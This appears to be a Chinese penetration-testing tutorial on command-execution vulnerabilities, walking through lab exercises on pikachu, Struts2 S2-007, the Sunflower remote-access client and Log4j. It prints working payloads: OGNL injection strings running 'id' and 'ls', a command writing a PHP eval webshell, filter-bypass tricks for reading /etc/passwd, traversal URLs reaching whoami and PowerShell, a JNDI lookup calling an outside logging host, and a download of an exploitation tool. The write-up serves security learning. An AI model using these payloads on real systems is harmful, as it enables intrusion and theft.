Web渗透-命令执行漏洞-及常见靶场检测实战

本文涉及的产品
多模态交互后付费免费试用,全链路、全Agent
简介: 命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。

一、概述

命令执行(RCE):应用有时需要调用一些执行系统命令的函数,如php中的system,exec,shell exec,passthru,popen,proc popen等,当用户能控制这些函数的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

二、利用条件

1 应用调用执行系统命令的函数
2 将用户输入作为系统精灵的参数拼接到命令行中
3 没有对用户输入进行过滤

三、漏洞分类

1 代码层过滤不严
商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
system("/bin/program--arg $arg");
2 系统的漏洞造成命令注入
比如:bash破壳漏洞 (cve-2014-6271)
3 调用的第三方组件存在代码执行漏洞
如wordpress中用来处理图片的imagemagick组件
java中的命令执行漏洞(struts2/elasticsearchgroovy等)
thinkphp命令执行
4 远程命令执行漏洞(执行的是命令)
指 用户通过浏览器提交执行操作命令,由于服务器端,没有针对执行函数做过滤,就执行了恶意命令。
5 远程代码执行漏洞(执行的是代码)
也叫代码注入漏洞,指用户通过浏览器提交执行恶意脚本代码,执行恶意构造的脚本代码

三、命令执行漏洞攻击

1. 命令连接符(windows)

| || & && 的区别:
& :无论左边还是false还是true,右边都会执行(可以同时执行多条命令)
&&: 左边错误,右边也不执行
| :都为true,只执行右边的命令
|| : 左边为false,才会执行右边的

2. 命令连接符(Linux)

& : 后台运行( 杀进程命令:kill -s 9)
; :连接符 
&& : 左边的执行成功后,右边的才会执行
|| : 左边错,执行右边

五、PHP执行系统命令内置函数

system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()

六、绕过方式

注意点:在Linux下,passwd是命令,/etc/passwd是文件

情景一:路径被过滤

# 使用通配符
* :多个
? : 一个
# 特殊方式 
# /'

# 未初始化变量 $a(和空格的作用类似)
cat$a /etc$a/passwd$a

七、pikachu靶场测试

一、命令执行漏洞

#  输入
| dir

二、代码执行漏洞

# 输入
system("ipconfig");

三、代码执行漏洞-写入木马示例

# cmd示例:
echo "<?php @eval($_POST['cmd'])?>;" > a.php

七、漏洞复现-struts2-S2-007

# 原理
参考 http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
当配置了验证规则 `<ActionName>-validation.xml` 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个 UserAction:
```java
(...)
public class UserAction extends ActionSupport {
    private Integer age;
    private String name;
    private String email;
(...)
```
然后配置有 UserAction-validation.xml:
```xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
    "-//OpenSymphony Group//XWork Validator 1.0//EN"
    "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
    <field name="age">
        <field-validator type="int">
            <param name="min">1</param>
            <param name="max">150</param>
        </field-validator>
    </field>
</validators>
```
当用户提交 age 为字符串而非整形数值时,后端用代码拼接 `"'" + value + "'"` 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
因为受影响版本为 Struts2 2.0.0 - Struts2 2.2.3,所以这里给出绕过安全配置进行命令执行的 Payload(**弹计算器,无法在本项目环境下运行**):
```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '
```
## Exploit
@rickgray 在原文中只给了弹计算器的POC,我给出执行任意代码的EXP:
```
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
```
将Exp传入可以利用的输入框(age),得到命令执行结果:
                                                                                                                                                                        25,0-1        88%
  • 复现过程:
  • 启动docker容器:docker-compose  up -d
  • 查看dock容器启动端口:docker ps

  • 查看dock容器启动端口:访问8080端口

  • 传递文档中的参数编码并抓包

# url编码网址:https://www.qianbo.com.cn/Tool/Url-Encode.html
# 源 
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
#编码后结果
'%20%2B%20(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls').getInputStream()))%20%2B%20'

  • 结果:

七、向日葵漏洞

版本:11.0.0.33162
启动向日葵后会启动一个4万以上的端口,通过nmap可以扫描出。
获取cookie网址:ip:端口cgi-bin/rpc?action=verify-haras(verify_string:参数值)
#注入:
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%26c:%26%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2Fwhoami
http://xx.xx.xx.xx:xxxxx/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami
请求包Cookie格式:
Cookie:CID=verify_string参数值

八、log4j靶场检测

一、 靶场搭建

# 拉取容器
docker pull vulfocus/log4j2-rce-2021-12-09
# 启动
docker run -tid -p 8080:8080  vulfocus/log4j2-rce-2021-12-09
# 查看状态
docker ps

二、检测漏洞

# url编码网址:https://www.qianbo.com.cn/Tool/Url-Encode.html
命令:${jndi:ldap://域名/exp}
# 在http://www.dnslog.cn/准备一个随机url
http://varin.cn:8080/
# 步骤:
点击?????后在url添加
http://varin.cn:8080/hello?payload=${jndi:ldap://xl4nrl.dnslog.cn/exp}
# 将此进行url编码:${jndi:ldap://xl4nrl.dnslog.cn/exp}
结果为:%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D
# 重新拼接后并访问:
http://varin.cn:8080/hello?payload=%24%7Bjndi%3Aldap%3A%2F%2Fxl4nrl.dnslog.cn%2Fexp%7D

访问后结果:

有回显,存在漏洞

三、扩展

  • 工具下载
# 工具:JNDI-Injection-Exploit v1.0
# 下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
# kali 下载:
wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
目录
相关文章
|
9天前
|
人工智能 运维 安全
|
7天前
|
人工智能 异构计算
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
敬请锁定《C位面对面》,洞察通用计算如何在AI时代持续赋能企业创新,助力业务发展!
|
8天前
|
机器学习/深度学习 人工智能 自然语言处理
B站开源IndexTTS2,用极致表现力颠覆听觉体验
在语音合成技术不断演进的背景下,早期版本的IndexTTS虽然在多场景应用中展现出良好的表现,但在情感表达的细腻度与时长控制的精准性方面仍存在提升空间。为了解决这些问题,并进一步推动零样本语音合成在实际场景中的落地能力,B站语音团队对模型架构与训练策略进行了深度优化,推出了全新一代语音合成模型——IndexTTS2 。
672 23
|
8天前
|
人工智能 测试技术 API
智能体(AI Agent)搭建全攻略:从概念到实践的终极指南
在人工智能浪潮中,智能体(AI Agent)正成为变革性技术。它们具备自主决策、环境感知、任务执行等能力,广泛应用于日常任务与商业流程。本文详解智能体概念、架构及七步搭建指南,助你打造专属智能体,迎接智能自动化新时代。
|
14天前
|
人工智能 JavaScript 测试技术
Qwen3-Coder入门教程|10分钟搞定安装配置
Qwen3-Coder 挑战赛简介:无论你是编程小白还是办公达人,都能通过本教程快速上手 Qwen-Code CLI,利用 AI 轻松实现代码编写、文档处理等任务。内容涵盖 API 配置、CLI 安装及多种实用案例,助你提升效率,体验智能编码的乐趣。
1104 110
|
人工智能 数据可视化 数据挖掘
Quick BI 体验&征文有奖!
瓴羊生态推出Quick BI 征文激励计划,鼓励用户分享数据分析实践经验与技术洞察,征集高质量原创文章。内容围绕AI功能体验与BI案例实践,设季奖、年奖及参与奖,优秀作者可获现金奖励、产品内测资格及官方认证形象。投稿截止至2026年3月31日。
Quick BI 体验&征文有奖!